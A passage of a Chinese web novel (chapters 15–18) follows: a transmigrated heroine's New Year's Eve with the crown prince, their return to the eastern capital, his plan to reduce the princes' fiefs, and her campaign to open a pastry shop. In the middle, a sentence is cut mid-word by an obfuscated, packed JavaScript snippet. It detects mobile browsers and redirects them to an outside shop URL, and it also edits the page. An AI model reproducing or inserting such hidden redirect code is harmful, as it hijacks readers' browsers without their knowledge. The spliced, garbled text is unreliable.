李扶楹一整晚都超级开心,胖胖的白菜猪肉水饺炫了整整一大盘子,还有盐津梅花做的排骨,超级超级超级好吃!还有甜甜的果酒喝了一瓶又一瓶,最后还没等唱《难忘今宵》,李扶楹就已经先喝趴了。 高崇宴回到东宫的时候已经是戌时末,歌伎们刚好唱完了最后一曲《难忘今宵》。高崇宴走进前堂,迎面就看到了一群宫女在玩花炮,还有喝酒吃饭的歌伎乐伎,以及已经喝趴在桌子上的李扶楹。 高崇宴:“……” 大周王朝从来没有过这种情况,不能说没有规矩,也只能说是不成体统。 高崇宴的脸色不太好看。 前堂里的所有人在看到高崇宴提前从太极宫那边回来立刻就安静了,夫人没有架子,没有规矩,可以宠着她们,但不代表太子也可以。 众人赶紧一窝蜂“噼里啪啦”跪了一地,“拜见太子殿下!” 李扶楹原本都趴在桌子上睡着了,忽然这么超大声的“拜见太子殿下”,一下子就把她又吵醒了。 李扶楹喝醉了,迷迷糊糊从桌案上抬起头,小脸的一侧因为一直趴在桌子上而压得红红的,另一侧倒是白白净净的。 李扶楹懵懵地眨眼睛,“怎么不唱歌了?” 高崇宴:“……” 跪在地上的众人:“……” 高崇宴深深叹了口气,语气无波,“都退下。” 众人称是,然后脚底抹油一溜烟儿离开。 前堂里面顿时安静下来,只有喝醉了不知道发生了什么事的李扶楹和虽然在国宴喝了酒但依旧很清醒的高崇宴。 高崇宴走到李扶楹身旁,然后把人抱起来。 李扶楹迷迷糊糊感觉到有人抱她,她一开始还以为是阿福,结果扭头一看,看到一个长相非常英俊的男人。 李扶楹定定地看着眼前这个长相非常英俊的男人。 高崇宴也看着李扶楹,“不认识孤了。” 李扶楹不认识了,她只是觉得这个男人真好看。 高崇宴把大氅裹到李扶楹身上,然后抱着李扶楹离开前堂往寝宫那边走去。 因为喝了酒,李扶楹一路上都乖乖巧巧地窝在高崇宴的怀里,一双大大圆圆地眼睛一瞬不瞬地看着高崇宴的脸。 高崇宴一边走一边顾李扶楹一眼,“在看什么?” 李扶楹揣着小手腼腆笑,但不肯说话。 高崇宴又帮李扶楹拢了拢她身上的那件毛茸茸的大氅。 李扶楹依旧一瞬不瞬地看着高崇宴。 李扶楹从小就喜欢那种长相周正的人,就是一看就知道是好人的长相,有正气,但又很温柔。对外可以顶天立地,对内可以把她当小孩子宠着。 李扶楹莫名就觉得眼前这个好看的男人就是她的天菜,她想了想,鼓起勇气伸出小手摸了一下高崇宴的脸。 好好看呀,好想占他的便宜。 高崇宴脚步一顿。 李扶楹感受到了,顿时不敢摸了,赶紧见好就收,把小手缩回去。 高崇宴活到现在,还是第一次被女人调/戏。 他垂眼,“知道自己在做什么吗?” 李扶楹知道啊,但她不打算承认。 李扶楹直接闭上眼睛,“我睡着了哦。” 高崇宴:“……” 16.第16章 高崇宴继续抱着李扶楹往寝宫的方向走。 路不远,但天冷,从前堂到寝宫,李扶楹的小脸都冻红了。 门帘掀开,屋里的热气立刻隔绝了外面的冰天雪地。 宫女们早就准备好了醒酒汤,这会儿高崇宴抱着李扶楹回来,醒酒汤还是热的。 高崇宴接过宫女手里的醒酒汤喂到李扶楹嘴边,“把醒酒汤喝了。” 李扶楹揣着小手乖巧喝醒酒汤。 她真的很好喂,尤其现在醉了,一碗醒酒汤不用哄不用劝,很快便喝得见底了。李扶楹喝完醒酒汤又抬起头看向高崇宴,小脸肉嘟嘟的,粉粉的,那双大大圆圆地眼睛亮亮的。 高崇宴轻轻摸了摸李扶楹的小脑瓜。 李扶楹顿时眉眼弯弯,但是她喝醉了,身子坐不住,高崇宴的手才一拿走,她便歪着身子往软榻上倒。 高崇宴赶紧把她扶住,“坐好。” 李扶楹乖巧点头,努力让自己像个小朋友一样坐得板板正正。 高崇宴只好坐到软榻上把人抱进怀里。 今天是除夕,大周王朝有“压祟钱”的习俗,用红色的线把铜钱串起来,铜钱都是新的,没有用过的钱,寓意祈福、消灾、辟邪。 皇家也不例外。 高崇宴从袖子里拿出一串红线铜钱塞进李扶楹的手里,“拿着吧。” 李扶楹看着那一串红线铜钱,虽然她喝醉了,但钱还是认识的。李扶楹一秒就把铜钱揣进她的袖子里了。 高崇宴顾着李扶楹藏钱的小动作,果然小财迷喝醉了也是小财迷。 高崇宴又把人儿抱起来,李扶楹很自然地挂到高崇宴的身上。 李扶楹在高崇宴的身上闻了闻,是淡淡的独属于高崇宴的檀木香。李扶楹熟悉这个味道,像是小动物用嗅觉分辨安全还是危险,在确定是安全的之后,李扶楹一下子把高崇宴抱紧了。 高崇宴继续抱着李扶楹直接去了偏殿水房。 大年三十的晚上比平日里都要明亮,除了张灯结彩之外,窗外的月亮也很大,还有满天繁星。 高崇宴帮李扶楹洗漱之后就抱她去睡觉了,李扶楹睡得可香了,她原本就困,这会儿脑瓜一沾到枕头,立刻一秒进入睡眠状态。 高崇宴没有睡,他今晚是特意早些回来陪她,原本,他还有些话想要对她说。过年,他不想冷落了她,但现在看来,她好像也不是不能没有他。 高崇宴说不出心里是个什么感觉,屋里的地龙烧得极旺,李扶楹抱着她的那串红线铜钱,肉嘟嘟的小脸因为屋内的温度而露出淡淡地粉色。 高崇宴的视线上移,李扶楹闭着眼睛,长长的睫毛像两把小扇子一样铺开。高崇宴的目光又下移,小巧的鼻子,粉粉嫩嫩的小嘴巴,再往下看,被子微鼓,高崇宴知道是那串红线铜钱。 但铜钱太硬了,李扶楹睡觉不老实,万一翻身压在铜钱上就会硌到。高崇宴伸出手试图把那串铜钱拿走放到李扶楹的枕头旁,但才一将铜钱往外移离一寸,睡梦中的李扶楹又把铜钱拽了回去。 高崇宴:“……” 李扶楹在睡梦中哼哼唧唧,小手把铜钱攥得可紧了。 高崇宴又稍微用了些力气去拿她的红线铜钱,这一次,李扶楹的小手终于松开了。 高崇宴把红线铜钱放到李扶楹的枕头旁边,放完抬眸,李扶楹不知道什么时候已经翻身面朝着他。高崇宴的眼前就是一张白白嫩嫩的美人面,他看了一会儿,轻轻在李扶楹的唇上亲了下。 之后的几天,高崇宴一直在东宫陪着李扶楹。但李扶楹其实也不是很需要高崇宴陪着,因为高崇宴的性格高冷,李扶楹还得努力想各种话题跟他沟通,还不如跟阿福在一起聊天有意思。但这样的话李扶楹是不敢说出来的,因为她还还得依靠高崇宴在东宫苟着。 但高崇宴可讨厌了,他不让李扶楹再搞那些吹拉弹唱的事情,李扶楹无事可做,只好陪着高崇宴下棋。 棋是五子棋,李扶楹主打一个哪里有空点哪里,最后以高崇宴可以一口气连出五条线的好成绩光荣战败。 不过,这样的“光荣时刻”也没有持续太久就是了,因为高崇宴要带着她回东都了。 李扶楹对回东都这一段内容是有点印象的,因为她跳章之后的最新章节,「太子回东都」的第一句话就是:太子奉旨回京,周仁帝恼怒国库亏空,无法攻打草原六部,年初三便遣太子回了东都。 李扶楹不介意哪一天回去,但她介意路上吃不好喝不好。李扶楹软磨硬泡,终于让高崇宴答应她从宫里打包两只烤鸡在路上的驿站吃。 高崇宴跟李扶楹吩咐完要回东都的事情之后,便准备去书房安排一下相关事宜。李扶楹一路微笑服务把高崇宴送到寝宫门口,然后又屁颠屁颠坐回软榻上开始啃苹果,一边啃一边唤来阿福替她给楚王府的女官写回信。 这是规矩来着。 听说她不见楚王府的女官也得给女官写封信,或者让宫女去传个话。否则显得她鸡犬升天后摆谱忘了“娘家人”。 但李扶楹毕竟不是真正的杀手李氏,很多事情她摸不准,所以,李扶楹也不准备多说,只挑不会出错的客套话简单写一下即可。 李扶楹让阿福帮她写,“就说,感谢挂念,我一切都好,我会在东宫跟殿下好好过日子,也愿楚王府一切都好。” 阿福笑着称是,然后认认真真把李扶楹的话写到信纸上。 信写完,李扶楹学着女官的做派,找了封条贴在信封口,然后唤来当初那个替女官给她送礼物和礼单的宫女,又把她的信给女官送了过去。 宫女很麻利,没一会儿功夫就把信送了过去。 但女官人很懵。 因为女官拿到信后屏退众人在屋里用火烤了又用水泡,信纸都快盘包浆了,愣是一个隐藏的字都没显现出来。 不是,这啥意思? 还真把自己当正儿八经的太子妾了?什么叫她会跟太子殿下好好过日子,当初楚王殿下是这么吩咐的吗? 女官没明白李扶楹想干什么,但眼下这种情况,女官见不到李扶楹又不能跟李扶楹当面对峙,只能把信纸收好,等回楚地之后再一五一十地向楚王汇报。 李扶楹当然不知道女官这边是这种情况,她一心都扑在准备跟着高崇宴回东都的事情上,恨不得马上就启程。毕竟京城这边实在是太闷了,她早就已经待够了。 大年初三那天,李扶楹准时跟着高崇宴像来京时那样坐着马车带领着护卫军回东都。 队伍一直稳稳前行,下午酉时过半才抵达第一个驿站。有了上次赶路的经验,李扶楹这次一口气把马车里的软垫叠了五个,座位软软的,所以即便坐一整天屁股也不疼。 马车停下,李扶楹跟着高崇宴走下马车,这会儿外面寒风凛冽,迎面扑到李扶楹的身上顿时就冻得她打了个哆嗦。 高崇宴看到了,把自己的黑色蟒纹大氅脱下来裹到李扶楹的粉色大氅外面。 有护卫军提着灯笼给高崇宴和李扶楹照路,驿站门口的青板石砖一尘不染,一路延伸到里间。 李扶楹加快了脚步往里间走,驿站虽然没有地龙,但好歹有火盆,人一进去,还是会觉得屋里很暖和。 高崇宴慢条斯理跟在李扶楹身后,他虽然把大氅给了李扶楹,但他似乎一点也没觉得冷。 李扶楹好奇看着高崇宴,“殿下,你不冷吗?” 高崇宴言简意赅,“还可以。” 冷当然是冷,但能接受。 习武之人,冬练三九、夏练三伏,高崇宴其实早就已经习惯了。 李扶楹进到屋子里面才将两件大氅都一起脱掉。 正是晚膳时间,李扶楹和高崇宴洗过手后便可以用膳了。 驿站的饭菜依旧很不好吃,没有油水,还不肯多放点盐。但李扶楹提前准备了烧鸡,所以她美滋滋地配着驿站的青菜叶子吃了一顿好饭。 用过晚膳,李扶楹就屁颠屁颠地跟着高崇宴一起去院子里面溜达着消食了。高崇宴牵着李扶楹的小手,迁就着李扶楹的步子,走的很慢。 李扶楹看着空旷的院子,没来由又想起这次早早回东都的事情。 高崇宴这次提早回东都主要是为了给周仁帝搞钱,虽然高崇宴不同意攻打草原六部,但搞钱是大方向,先把钱搞到手,国富民强,其他的事情都好商量。 原文里面,回东都之后掀起了一个小高/潮。有个大臣上奏男主,说他有办法搞钱。男主就问是什么办法,大臣引经据典啰嗦了一大堆。当时李扶楹没看懂大臣都说了些啥,后来看了评论区才知道,那个大臣说的是要增加赋税,还举例说明当年曹操的屯田制就是高税收,很快就把钱搞到手了。这样一年干到头,单车变摩托。 男主很满意,直接给大臣赏了一套砍头、抄家的组合套装。 评论区当时都在讨论,说那个大臣是读书读傻了,乱世的政策拿到太平的时候用,是生怕百姓们不造反。 李扶楹没有参与讨论,因为她对这个剧情不感兴趣,她就想看看,在百姓们吃不饱饭、国库亏空的情况下,男主如何能快速搞钱。 别说,男主还真有招。 男主回到东都之后,立刻就下了一道太子令:削减藩王。 大周王朝在太祖皇帝时期封了很多藩王,但这些藩王并不是个个都有军功,有的仅仅是因为姓高,便一辈子荣华富贵。总结来说,就是水浅王八多。而现在国库亏空,百姓们吃不饱,但王八们……不,藩王们都富得流油,所以,不拿他们开刀简直是浪费资源。 作者用了很大的篇幅 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高崇宴原本想扶李扶楹一下,毕竟一路奔波,他怕李扶楹会累,但李扶楹一点也没觉得累。李扶楹的适应能力可强了。之前从东都去京城是第一次出远门,她的业务技能不熟练才会觉得累,但现在从京城回东都,李扶楹已经有过出远门的经验了,所以,从马车的软垫到驿站吃饭,她都把自己照顾得棒棒哒。 高崇宴默默跟在李扶楹身后走下马车。 李扶楹欢快地跑在前面,“殿下,我们回来了呢!” 高崇宴简单嗯。 李扶楹精力充沛,又小蝴蝶一样跑回高崇宴身边,“还是东都好,在东都我就不用守规矩啦!” 其实不是不用守规矩,而是高崇宴拿李扶楹根本没办法,也没法让李扶楹守规矩。 李扶楹拉着高崇宴的大手蹦蹦跳跳往寝宫的方向走,但虽然她是蹦蹦跳跳,高崇宴却走得很稳。因为高崇宴人高腿长,他慢慢迈步就能跟得上李扶楹的蹦蹦跳跳。 两个人一路走回寝宫,门帘一掀开,迎面都是粉粉嫩嫩的布置。 这样的布置,高崇宴当初看着不习惯,但离开这么久回来倒是多了几分亲切。这么一看,好像还是这些粉粉嫩嫩的颜色更适合李扶楹。 李扶楹自然也看到了那粉粉嫩嫩的房间,还是她的装修好,心情一下子就变得明媚起来。果然,她不喜欢那些古板的颜色和装潢,她就喜欢可可爱爱的。 李扶楹开心跑到软榻上坐下,屁股底下是粉粉的心形软垫,怀里是大白菜的抱枕。 高崇宴慢条斯理迈步走到一旁的软榻上坐下,“一会儿先用晚膳,晚膳过后再好好泡个澡休息一下。” 李扶楹开心点头。 高崇宴为了补偿李扶楹在路上只能吃烧鸡解馋,特意吩咐了后厨,晚膳都做李扶楹喜欢吃的硬菜。 没一会儿功夫,就有宫女们端着饭菜鱼贯而入。什么蒜蓉大虾仁、红烧狮子头、酱香排骨、清蒸鱼。 李扶楹都不用宫女来请,自己就先屁颠屁颠地跑到桌子前乖巧坐下等着了。 宫女端来了水盆请李扶楹和高崇宴净手。 李扶楹以最快的速度把小手洗干净,然后拿起筷子就开始炫饭。 高崇宴也拿起了筷子,但他没有李扶楹那么想念这些美味佳肴,更多的时候,高崇宴只是吃饱即可。 高崇宴帮李扶楹夹了一筷子排骨放进碗里,“慢点吃,又没人跟你抢。” 李扶楹嗯嗯嗯,嚼嚼嚼。 高崇宴:“……” 饭吃到一半,有宫人走进来向高崇宴恭敬行礼,“殿下,贺大人已经到书房了。” 高崇宴淡淡嗯。 宫人随即退出殿外。 李扶楹从饭碗里面抬起头来看向高崇宴,“殿下,你才刚刚回东都就要去处理政事吗?这连饭都还没有吃完呢。” 高崇宴放下手里的筷子,“好好吃你的饭,孤一会儿就回来。” 李扶楹嘟嘴,“那一会儿是多久啊?” 高崇宴并没有敷衍李扶楹,只实话道:“睡觉前。” 李扶楹不开心,“那叫一会儿啊?这才酉时过半,离睡觉还早呢。” 李扶楹不想放高崇宴离开。 高崇宴可是她在这个世界里唯一一个能庇护她的人,高崇宴这么卷,万一身体卷崩了怎么办?谁来保护她?谁给她钱花? 李扶楹又抱住高崇宴的胳膊,小树懒一样,“殿下你能不能不去呀?休息一下明天再忙也是一样的呀!” 高崇宴:“听话,不准胡闹。” 李扶楹的小脸又嘟起来了,但权谋文是这样,男主不搞事业还能叫权谋文吗? 李扶楹委屈巴巴的,“那好吧,那殿下一定要早点回来,我在这里等着殿下。” 高崇宴用布巾擦完手,又摸了摸李扶楹的小脑瓜,“孤记下了。” 17.第17章 外面的天色已经黑了,虽然是春天,但初春还是天短,而且很冷。 高崇宴坐着轿子一路去了书房。 贺青云这会儿已经候在书房门口,他远远瞧见高崇宴的轿子,连忙往前迎了几步。 轿子稳稳在书房门口停下,高崇宴掀开轿帘走下来,他看向站在寒风中等他的贺青云,语气淡淡的,“怎么这么晚过来了?” 贺青云直接开门见山,“殿下,你真的要削藩?” 高崇宴淡淡嗯。 削藩不是小事,一不小心就会引起兵变。贺青云虽然知道国库没钱,周仁帝在向太子施压,但削藩这步棋的难度也太大了。 贺青云一边跟着高崇宴往书房里面走一边道:“殿下,陛下只是想筹钱攻打草原六部,但筹钱也不一定非得动藩王啊!那些藩王都是太祖皇帝陛下和高祖皇帝陛下封的,您去惹这麻烦做什么?” 高崇宴:“所以,不动藩王,从哪里筹钱?” 贺青云顿时语塞。 百姓们已经够苦了,太祖皇帝、高祖皇帝包括周仁帝前期一直都在打仗,百姓们几乎就没过过几天安稳日子。现在终于不打仗了,要是再来个增加赋税,百姓们不造反才怪。那么,不能从百姓们的身上筹钱,还能从哪弄?想来想去,不就只剩下那些没什么贡献又肥的流油的藩王了吗? 高崇宴语气无波,“不用担心,孤心里有数。” 贺青云看向高崇宴。 高崇宴坐到椅子上,“太祖皇帝时期的藩王基本上没有了,所以不用管。跟着高祖皇帝打过仗的暂时不动,把那些没有军功的藩王都降为郡王,郡王降为郡公。” 藩王那么多,总不能直接一刀切,所以,高崇宴准备有条件的选择性的收拾。 正所谓,藩王有藩王的待遇,郡王有郡王的待遇,郡公有郡公的待遇,别看只是一字之差,待遇却差远了。 高崇宴想过了,太祖皇帝时期的藩王都是爷爷辈的,总共也就剩了三两个,动了也没什么意思,还不如等着他们自己去世然后子孙自动降级。而那些跟着高祖皇帝打过仗有军功的藩王也不能动,至少现在还不能。他们每个人的手上都有兵马,而且有威望,真若动了他们,根本收不了场。所以,柿子挑软的捏,只能先把那些没有军功没有威望的藩王、郡王收拾一下给国库回血。 贺青云也明白是这个道理,但他的心里还是没底。 大周开国至今三件不能提的事情:太祖时期的田将军案、高祖时期的夷十族案,以及,那位从大周王朝上抹去的“不可说”皇帝。 那位“不可说”皇帝原本是大周王朝的第二位皇帝,但因为削藩失败,下落不明,至今没有任何音讯。 高崇宴只是太子,当初的“不可说”皇帝那是天子都失败了,高崇宴的胜算又能有几成? 贺青云又看向高崇宴。 高崇宴无意在今晚细说这些事情,只淡淡道:“等回头朝堂再议吧。” 窗外刮起了北风,风起卷过天边的乌云,遮住了那一轮原本就不算明亮的残月。 高崇宴其实比任何人都知道削藩的危险,但他没有别的办法。他是太子,很多事情,他愿意扛也得扛,不愿意扛也得扛。 晚上,高崇宴没有回寝宫。 李扶楹一个人在寝宫一直等到戌时末,然后终于等睡着了。 李扶楹是这个样子的,等高崇宴回来是礼貌,等睡着了是基操。 李扶楹知道高崇宴已经进入了第一波的事业升级阶段,但那些朝堂之事李扶楹听都听不明白,更别提帮什么忙了,所以,李扶楹只能当一下气氛组。当然,如果高崇宴需要的话。 李扶楹这一觉就睡到了次日的日上三竿,高崇宴依旧没回来。听阿福说,高崇宴连早膳都没回来用,直接从书房跟贺大人一起去议政殿了。 李扶楹默了一秒。 这么说,昨天晚上高崇宴是通宵议政了。 李扶楹理解不了。 毕竟,她一个连大年三十都不会通宵的人,你跟她说什么通宵加班干活儿?不好意思,咱不一个赛道。 李扶楹伸了个懒腰从床上爬起来,又开始了她“不劳而获获获获获”的人生。 李扶楹先去水房洗漱一番,然后便溜达着去了偏殿用早膳兼午膳。 吃饱喝足之后,李扶楹又拉着阿福出去玩了。 宫里没什么意思,李扶楹便直接跟阿福出了宫。东都这边李扶楹熟,东南西北四条大街,一开始李扶楹刚穿过来的时候还会迷路,现在已经成了人形导航。 李扶楹让驾驶马车的宫人直奔北大街的茶楼铺子,那里有一个说书先生,李扶楹喜欢在那里找个靠窗的位置,然后跟阿福一边喝茶一边听说书。 古代的说书真的一点也不比现代的电子说书差,人家老先生那是有真本事的,台词功底非常深厚,尤其吊打某些AI智能。至少,人家老先生遇到不会念的字不会直接给你跳过去,或者,直接给你来个相近形音译。 李扶楹当初听《大周王朝》的时候就经常听到AI智能念高嘎,李扶楹一开始还以为哪只鸭子成精了,结果打开页面一看,才知道有一个藩王叫高嘉,AI智能吐字不清,叫他高嘎…… 李扶楹和阿福熟门熟路去了茶铺二楼靠窗的位置,今天老先生讲得书是大周王朝太祖皇帝时期的西进之战。主角是太祖皇帝的外甥李将军。 这位李将军很传奇,一是因为长得帅,二是因为战绩高。就这么说吧,当年赵云在长坂坡七进七出还得喘口气歇歇,这位李将军根本不需要歇,一听到打仗就跟打了鸡血一样。 李扶楹磕着瓜子喝着茶,一边听说书一边问阿福,“阿福,你知道这个李将军吗?” 阿福点头,“知道的,是非常非常有名的一位将军,听说人长得很好看,还被誉为大周开国将领中的第一美男子呢。后来,被太祖皇帝陛下收为了义子。” 李扶楹想了想,那这位李将军就是高崇宴爷爷辈的人物了。 《大周王朝》主讲高崇宴这一代的事,所以,太祖皇帝那一代的人和事几乎没有,自然,李扶楹也没听说过这位李将军。 不过,李扶楹喜欢八卦,尤其是八卦这种美男子。 李扶楹继续嗑瓜子听说书,旁边的窗户半开着,从李扶楹的角度望出去,斜对面是一家糕点铺子。李扶楹剥瓜子的手一顿,又扭头问阿福,“阿福,像那样的铺子一般需要多少钱才能开呀?” 阿福闻言扭头看了眼窗外斜对面的铺子,上下两层的糕点铺子,论规模比不上那种百年老字号,但在这一条街的吃食店里面也算是大的了。 阿福道:“大概……要上千两吧。” 李扶楹惊讶睁大眼睛,“需要这么多钱呀?” 阿福又笑着道:“这是奴婢自己猜的,奴婢也不很清楚具体需要多少钱。” 李扶楹看着那个糕点铺子若有所思。 她也想开个糕点铺子。 虽然她在东都这边不用守规矩,也不用禁足,可以到处玩,但宫里能玩的地方也就那么多,什么后花园之类的都快被李扶楹盘包浆了。而且,宫外也就东南西北四条大街来回逛,再繁华也有腻的时候。 人就是这样,996的时候疯狂喊累,真让躺平当个“不劳而获获获获获”的小废物其实也很无聊。 李扶楹把瓜子放下拍了拍手上的瓜子灰,“走吧,我们回宫去。” 阿福惊讶,“夫人今天怎么这么早就回去呀?” 阿福记得上次陪李扶楹出来听说书的时候,李扶楹一直听到太阳落山才肯往回走。 李扶楹喜滋滋笑,“我想回去跟殿下商量点事情,哦对了,这里的炒瓜子很好吃,一会儿你去结账的时候让老板帮我打包一份。” 阿福笑着称是。 李扶楹继而蹦蹦跳跳往楼下走。 她打算回去求高崇宴帮她投资一个糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376424|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点铺子,只是不知道高崇宴愿不愿意。李扶楹想到这里又吩咐阿福,“瓜子打包两份吧。” 阿福又笑着称是。 李扶楹是这样想的,求人办事,怎么能空着手去呢?就拎着这酥酥脆脆的炒瓜子,就说特意给高崇宴买的,哄哄他,嘿嘿。 李扶楹和阿福拎着两包炒瓜子走出茶楼又坐进马车,驾驶马车的宫人立刻调转车头往皇宫的方向走去。 李扶楹回到东宫的时候已经是酉时,再过一会儿就可以用晚膳了,李扶楹特意把买回来的炒瓜子放到桌子最中央,那个位置显眼,一下子就能让高崇宴看到。 李扶楹乖巧坐在桌子前等着高崇宴回来吃饭,但她等啊等,没等来高崇宴,倒是等来了议政殿那边的宫人。 宫人说,殿下不回来用晚膳了。 李扶楹:“……” 卷吧,现在当真是二十四小时见不着人了。 阿福悄悄用胳膊碰李扶楹,示意桌子上的瓜子。 买都买了,怎么能不让殿下知道呢? 李扶楹这才心不甘情不愿地把瓜子交给议政殿的宫人,“这是我特意给殿下买的瓜子,既然殿下不回来用晚膳,那麻烦你给殿下送去吧。” 宫人连忙恭敬称是。 李扶楹其实是想拿着瓜子当面送给高崇宴的,毕竟她还有事情要跟高崇宴商量,但高崇宴现在正在议政殿那边忙国家大事,李扶楹也不敢去。 宫人拿着瓜子便又赶紧回了议政殿,但他没立刻把瓜子送进去。 这会儿议政殿里的气氛严肃得吓人,多往里面看一眼都怕脑袋不保。宫人听说,太子殿下要削藩了,但东宫这边的大臣们都不太同意,已经进行了好几轮非常激烈的辩论。 宫人只是个打杂的,他的人生目标就是好好干活,然后领工资等退休,所以,像这种议政之类的事情,他必须有多远躲多远。 宫人一直捧着李扶楹买的瓜子等在殿外,直到天色完全黑下来,周围都亮起灯火,议政殿的大门口才有了动静。 宫人小心翼翼望了一眼,是五六个穿着官袍的大臣,他们各个面容严肃,有的甚至脸色铁青。宫人只看了一眼便又赶紧垂眼,等那些大臣们都走了,宫人才又规规矩矩地往议政殿里面走去。 太子殿下还在批阅奏折,他看上去有些疲惫,眼底都染了一层淡淡地乌青。 宫人小心翼翼走到近前,恭敬向高崇宴行礼,“殿下,这是夫人让奴婢送来的瓜子。夫人说,这是她特意为殿下买的。” 高崇宴闻言稍稍抬眸,目光所及,宫人高高举过头顶的双手里,一个淡灰色的包装纸鼓鼓的,上面的正中央有一张红色的贴条,写着“王记茶馆”。 高崇宴语气无波,“呈上来。” 宫人恭敬称是,然后低着头,捧着瓜子呈到高崇宴面前。 高崇宴单手把那包瓜子拿起来放到桌面上打开,瓜子带着甜甜的香味儿,一闻就是用糖炒过的。 高崇宴不喜欢吃甜,但李扶楹非常喜欢。 高崇宴看向宫人,“你方才说,这是夫人特意给孤买的?” 宫人再次恭敬称是。 高崇宴:“……” 真的特意给他买就买原味的了,这一看就是李扶楹自己要吃。 高崇宴把瓜子的包装纸盖上,刚要吩咐宫人把瓜子拿下去,但想了想,高崇宴又把瓜子留下了。 “下去吧。” 这话是对宫人说的。 宫人行礼,然后立刻退到议政殿外。 高崇宴一直在议政殿待到晚上戌时,离开议政殿的时候,门外有轿子在候着。 高崇宴坐进轿子里,“去书房。” 抬轿子的宫人称是,然后稳稳将轿子抬起来,但才走了几米远,轿子里面又传来高崇宴的声音。 “回寝宫。” 抬轿子的宫人再次恭敬称是,轿子在路口拐弯,又稳稳往寝宫的方向走去。 18.第18章 高崇宴回到寝宫的时候已经是戌时过半,他没有立刻回寝宫里间,而是先去了水房沐浴,等沐浴完回到寝宫里间的时候,李扶楹正拿着毛笔趴在床上画画。 高崇宴微微蹙眉,然后慢条斯理走到床边。李扶楹都没注意,直到高崇宴走到她身后,李扶楹才后知后觉房间里面多了个人。 李扶楹顿时吓了一跳,“殿下你怎么回来了?” 高崇宴:“……” “这是孤的寝宫,孤为什么不能回来?” 李扶楹:“……” 高崇宴目光所及床上的纸和笔,纸是好几张,一看就是画了不满意扔到一边,又拿了新的纸继续画,笔是毛笔,但大抵李扶楹不会用,像抓筷子一样抓在手里,完全不是正确的握笔姿势。 高崇宴顾着李扶楹,“在做什么?” 李扶楹连忙把自己的画拿给高崇宴看,她没想到高崇宴今天晚上会回来,她还以为要等好长时间才能把她的画拿给高崇宴看。 李扶楹喜滋滋的,“殿下,我想开一家糕点铺子,你看,这是装修的图纸。” 高崇宴接过图纸看了眼,但因为李扶楹的画工水平有限,高崇宴仔细看了半天也没看明白李扶楹都画了些啥。 李扶楹开始“巴拉巴拉”地跟高崇宴讲解她的“事业规划”,“殿下,我整天在东宫里面待着好闷的,我想出去开一家糕点铺子,这样一来可以挣钱又可以解闷儿。我都想好了,我可以卖奶茶、卖糕点,铺子分上下两层,下面是普通座位,上面是包房。但是我没有钱买店铺,所以殿下你可不可以帮我投资买一家店铺,我从小就想开一家糕点铺子,我可想当小老板了。” 高崇宴压根儿没仔细听李扶楹都在“巴拉巴拉”地说什么,他只是看着李扶楹胖嘟嘟的小脸,红红的小嘴巴一张一合、一张一合,莫名就有些可爱。 李扶楹揣着小手,“我不会选很贵的铺子,不会花殿下很多钱的,要是殿下觉得不合适,我也可以给殿下写欠条,等挣了钱再还给殿下。” 高崇宴把手里的图纸放到一边,直接拒绝,“大周有规矩,后妃不能随便出宫,你能随便出宫已经是孤对你的特别恩准,所以,这个糕点铺子不能开。” 李扶楹顿时就不开心了。 那她天天就后花园、四大街的转悠,早晚都要闷死,她又不会走主线剧情,又不敢参政,她就要开糕点铺子。 李扶楹试图撒娇,“殿下,你就让我开个糕点铺子好不好?我真的超级想当小老板。” 高崇宴躺到床上,直接闭上眼睛,已读不回。 李扶楹抱着高崇宴的胳膊来回晃,“求你了殿下,求你了,求你了,求你了。” 高崇宴已读不回。 李扶楹嘟着小脸,“要是不让我当小老板的话,我真的会哭的哦!” 高崇宴这才又睁开眼睛,“会哭?” 李扶楹点头点头再点头。 高崇宴换了个更舒服的姿势躺着,“那就哭吧。” 李扶楹:“……” 油盐不进是吧? 李扶楹的小脸嘟起来了,“殿下,你真的不让我开糕点铺子吗?” 高崇宴嗯。 李扶楹一把掀开自己身上的被子,对着高崇宴就开始哭了,“殿下……殿下……” 李扶楹哭得可“伤心”了,一边哭一边扑在高崇宴的身上,大有发丧的阵仗。 高崇宴:“……” “孤还没薨。” 李扶楹才不管,继续对着躺在床上的高崇宴“抹眼泪”,就差把“寡妇”两个字刻脑门儿上了。 高崇宴:“……” 他活到现在,从来没见过如此放肆的后妃。 “不准哭了,你若是再哭……” 李扶楹刚才偷偷打了两个哈欠,这会儿眼泪是真的下来了。 高崇宴目光所及,就是一个委屈巴巴泪眼朦胧的小美人,仿佛他是真的欺负她了。 高崇宴无奈叹了口气,“大周的确有规矩,后妃不得随意出宫,不是孤不让你开,是的确不合适。” 李扶楹嘴角向下,大大地眼睛里面眼泪就兜不住了。 高崇宴:“……非要开糕点铺子是吧。” 李扶楹一秒止住眼泪,超小声:“嗯。” 高崇宴:“……” 李扶楹更加超小声:“可以开吗?殿下。” 委屈巴巴的声音,如果高崇宴不同意,她肯定要继续哭给高崇宴看的。 高崇宴被迫点头。 李扶楹顿时又开心起来,“谢谢殿下!” 高崇宴对李扶楹这一秒变脸的技术叹为观止,但还是妥协道:“别弄得人尽皆知,对外换个身份。” 虽然即便李扶楹的身份暴露,高崇宴也能压得住,但总归大周王朝有规矩,也不能太大张旗鼓的就是了。 李扶楹眉眼弯弯,“殿下你放心!我保证不会让人知道我的身份。我就带着阿福,就说我们是外地来东都做生意的小姐妹。” 高崇宴:“两个姑娘家做生意不妥,让后厨的张诚和慧娘跟着你们一起去吧,就说是叔父和婶婶,其他厨工也从后厨调,你看上谁就选谁去,至于店铺的钱,需要多少银子都走孤的账,不用写欠条。” 李扶楹忽然觉得高崇宴简直帅得发光了。 张诚和慧娘都是东宫御厨有点官职的人,李扶楹想都没敢想高崇宴居然会把这样的小领导拨给她。而且高崇宴还愿意给她钱买店铺,还不用让她写欠条! 男人的附魅时刻,给你解决问题,给你出钱,满足你的要求! 